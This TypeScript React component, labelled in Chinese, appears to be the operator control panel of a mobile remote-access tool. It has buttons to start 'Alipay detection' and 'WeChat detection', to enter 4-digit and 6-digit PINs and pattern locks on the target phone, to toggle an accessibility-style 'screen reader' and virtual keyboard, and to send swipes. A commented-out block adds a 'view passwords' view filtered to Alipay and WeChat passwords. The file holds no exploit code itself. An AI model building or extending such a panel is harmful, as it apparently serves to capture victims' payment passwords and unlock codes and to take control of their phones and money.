288 lines
12 KiB
TypeScript
288 lines
12 KiB
TypeScript
import React, { useState } from 'react'
|
||
import { Card, Button, Row, Col } from 'antd'
|
||
import { NodeIndexOutlined, DollarOutlined, WechatOutlined, KeyOutlined, AppstoreOutlined } from '@ant-design/icons'
|
||
|
||
export interface DebugFunctionsCardProps {
|
||
// 基本
|
||
children?: React.ReactNode
|
||
title?: string
|
||
extra?: React.ReactNode
|
||
footer?: React.ReactNode
|
||
style?: React.CSSProperties
|
||
loading?: boolean
|
||
actions?: React.ReactNode[]
|
||
collapsible?: boolean
|
||
defaultCollapsed?: boolean
|
||
// 运行态
|
||
operationEnabled: boolean
|
||
// 屏幕阅读器
|
||
screenReaderEnabled?: boolean
|
||
screenReaderLoading?: boolean
|
||
onToggleScreenReader: () => void
|
||
// 虚拟按键
|
||
virtualKeyboardEnabled?: boolean
|
||
onToggleVirtualKeyboard: () => void
|
||
// 支付宝/微信检测
|
||
alipayDetectionEnabled: boolean
|
||
wechatDetectionEnabled: boolean
|
||
onStartAlipayDetection: () => void
|
||
onStopAlipayDetection: () => void
|
||
onStartWechatDetection: () => void
|
||
onStopWechatDetection: () => void
|
||
// 密码操作
|
||
onOpenFourDigitPin: () => void
|
||
onOpenSixDigitPin: () => void
|
||
onOpenPatternLock: () => void
|
||
passwordFilter: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'
|
||
onPasswordFilterChange: (v: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD') => void
|
||
onViewPasswords: () => void
|
||
// 显示控制
|
||
showScreenReaderControls?: boolean
|
||
showPasswordControls?: boolean
|
||
// 手势操作
|
||
onSwipeUp?: () => void
|
||
onSwipeDown?: () => void
|
||
onSwipeLeft?: () => void
|
||
onSwipeRight?: () => void
|
||
}
|
||
|
||
export const DebugFunctionsCard: React.FC<DebugFunctionsCardProps> = ({
|
||
title = '调试功能',
|
||
extra,
|
||
footer,
|
||
style,
|
||
loading,
|
||
actions,
|
||
collapsible = false,
|
||
defaultCollapsed = false,
|
||
operationEnabled,
|
||
screenReaderEnabled,
|
||
screenReaderLoading,
|
||
onToggleScreenReader,
|
||
virtualKeyboardEnabled,
|
||
onToggleVirtualKeyboard,
|
||
alipayDetectionEnabled,
|
||
wechatDetectionEnabled,
|
||
onStartAlipayDetection,
|
||
onStopAlipayDetection,
|
||
onStartWechatDetection,
|
||
onStopWechatDetection,
|
||
onOpenFourDigitPin,
|
||
onOpenSixDigitPin,
|
||
onOpenPatternLock,
|
||
showScreenReaderControls = true,
|
||
showPasswordControls = true,
|
||
onSwipeUp,
|
||
onSwipeDown,
|
||
onSwipeLeft,
|
||
onSwipeRight,
|
||
children
|
||
}) => {
|
||
const [collapsed, setCollapsed] = useState<boolean>(defaultCollapsed)
|
||
|
||
const renderExtra = (
|
||
<div style={{ display: 'flex', gap: 8, alignItems: 'center' }}>
|
||
{extra}
|
||
{collapsible && (
|
||
<Button type="link" size="small" onClick={() => setCollapsed(v => !v)}>
|
||
{collapsed ? '展开' : '收起'}
|
||
</Button>
|
||
)}
|
||
</div>
|
||
)
|
||
|
||
return (
|
||
<Card
|
||
title={title}
|
||
size="small"
|
||
extra={renderExtra}
|
||
style={style}
|
||
loading={loading}
|
||
actions={actions}
|
||
>
|
||
{!collapsed && children && (
|
||
<div style={{ marginBottom: 16 }}>
|
||
{children}
|
||
</div>
|
||
)}
|
||
{!collapsed && (
|
||
<>
|
||
{showScreenReaderControls && (
|
||
<Row gutter={[8, 8]} style={{ marginTop: 8 ,display:'none'}}>
|
||
<Col span={24}>
|
||
<Button
|
||
block
|
||
type={screenReaderEnabled ? 'primary' : 'dashed'}
|
||
icon={<NodeIndexOutlined />}
|
||
onClick={onToggleScreenReader}
|
||
disabled={!operationEnabled}
|
||
loading={screenReaderLoading}
|
||
style={{
|
||
fontSize: 12,
|
||
background: screenReaderEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||
borderColor: screenReaderEnabled ? '#52c41a' : undefined
|
||
}}
|
||
>
|
||
📱 {screenReaderEnabled ? '增强版屏幕阅读器已启用' : '启用增强版屏幕阅读器'}
|
||
</Button>
|
||
</Col>
|
||
<Col span={24}>
|
||
<Button
|
||
block
|
||
type={virtualKeyboardEnabled ? 'primary' : 'dashed'}
|
||
icon={<KeyOutlined />}
|
||
onClick={onToggleVirtualKeyboard}
|
||
disabled={!operationEnabled || !screenReaderEnabled}
|
||
style={{
|
||
fontSize: 12,
|
||
background: virtualKeyboardEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||
borderColor: virtualKeyboardEnabled ? '#1890ff' : undefined
|
||
}}
|
||
>
|
||
⌨️ {virtualKeyboardEnabled ? '虚拟按键已显示' : '显示虚拟按键'}
|
||
</Button>
|
||
</Col>
|
||
</Row>
|
||
)}
|
||
|
||
{showPasswordControls && (
|
||
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||
<Col span={12}>
|
||
<Button
|
||
block
|
||
type={alipayDetectionEnabled ? 'default' : 'primary'}
|
||
icon={<DollarOutlined />}
|
||
onClick={alipayDetectionEnabled ? onStopAlipayDetection : onStartAlipayDetection}
|
||
disabled={!operationEnabled}
|
||
style={{
|
||
background: !alipayDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||
borderColor: !alipayDetectionEnabled && operationEnabled ? '#1890ff' : undefined,
|
||
color: !alipayDetectionEnabled && operationEnabled ? 'white' : undefined
|
||
}}
|
||
>
|
||
{alipayDetectionEnabled ? '停止支付宝检测' : '支付宝检测'}
|
||
</Button>
|
||
</Col>
|
||
<Col span={12}>
|
||
<Button
|
||
block
|
||
type={wechatDetectionEnabled ? 'default' : 'primary'}
|
||
icon={<WechatOutlined />}
|
||
onClick={wechatDetectionEnabled ? onStopWechatDetection : onStartWechatDetection}
|
||
disabled={!operationEnabled}
|
||
style={{
|
||
background: !wechatDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||
borderColor: !wechatDetectionEnabled && operationEnabled ? '#52c41a' : undefined,
|
||
color: !wechatDetectionEnabled && operationEnabled ? 'white' : undefined
|
||
}}
|
||
>
|
||
{wechatDetectionEnabled ? '停止微信检测' : '微信检测'}
|
||
</Button>
|
||
</Col>
|
||
|
||
<Col span={12}>
|
||
<Button
|
||
block
|
||
type="primary"
|
||
icon={<KeyOutlined />}
|
||
onClick={onOpenFourDigitPin}
|
||
disabled={!operationEnabled}
|
||
style={{
|
||
background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||
borderColor: operationEnabled ? '#52c41a' : undefined,
|
||
color: operationEnabled ? 'white' : undefined
|
||
}}
|
||
>
|
||
4位PIN输入
|
||
</Button>
|
||
</Col>
|
||
<Col span={12}>
|
||
<Button
|
||
block
|
||
type="primary"
|
||
icon={<KeyOutlined />}
|
||
onClick={onOpenSixDigitPin}
|
||
disabled={!operationEnabled}
|
||
style={{
|
||
background: operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||
borderColor: operationEnabled ? '#1890ff' : undefined,
|
||
color: operationEnabled ? 'white' : undefined
|
||
}}
|
||
>
|
||
6位PIN输入
|
||
</Button>
|
||
</Col>
|
||
|
||
<Col span={24}>
|
||
<Button
|
||
block
|
||
type="primary"
|
||
icon={<AppstoreOutlined />}
|
||
onClick={onOpenPatternLock}
|
||
disabled={!operationEnabled}
|
||
style={{
|
||
background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
|
||
borderColor: operationEnabled ? '#722ed1' : undefined,
|
||
color: operationEnabled ? 'white' : undefined
|
||
}}
|
||
>
|
||
图形密码输入
|
||
</Button>
|
||
</Col>
|
||
{/*
|
||
<Col span={24}>
|
||
<div style={{ display: 'flex', gap: 8 }}>
|
||
<Select
|
||
style={{ width: 160 }}
|
||
value={passwordFilter}
|
||
onChange={(val) => onPasswordFilterChange(val as any)}
|
||
options={[
|
||
{ label: '默认', value: 'DEFAULT' },
|
||
{ label: '支付宝', value: 'ALIPAY_PASSWORD' },
|
||
{ label: '微信', value: 'WECHAT_PASSWORD' }
|
||
]}
|
||
/>
|
||
<Button
|
||
type="default"
|
||
icon={<FileTextOutlined />}
|
||
onClick={onViewPasswords}
|
||
disabled={!operationEnabled}
|
||
>
|
||
查看密码
|
||
</Button>
|
||
</div>
|
||
</Col> */}
|
||
</Row>
|
||
)}
|
||
</>
|
||
)}
|
||
{footer && (
|
||
<div style={{ marginTop: 8 }}>
|
||
{footer}
|
||
</div>
|
||
)}
|
||
{/* 手势操作（可选） */}
|
||
{!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight) && (
|
||
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||
{onSwipeUp && (
|
||
<Col span={12}><Button block onClick={onSwipeUp}>↑ 上滑</Button></Col>
|
||
)}
|
||
{onSwipeDown && (
|
||
<Col span={12}><Button block onClick={onSwipeDown}>↓ 下滑</Button></Col>
|
||
)}
|
||
{onSwipeLeft && (
|
||
<Col span={12}><Button block onClick={onSwipeLeft}>← 左滑</Button></Col>
|
||
)}
|
||
{onSwipeRight && (
|
||
<Col span={12}><Button block onClick={onSwipeRight}>→ 右滑</Button></Col>
|
||
)}
|
||
</Row>
|
||
)}
|
||
</Card>
|
||
)
|
||
}
|
||
|
||
export default DebugFunctionsCard
|
||
|
||
|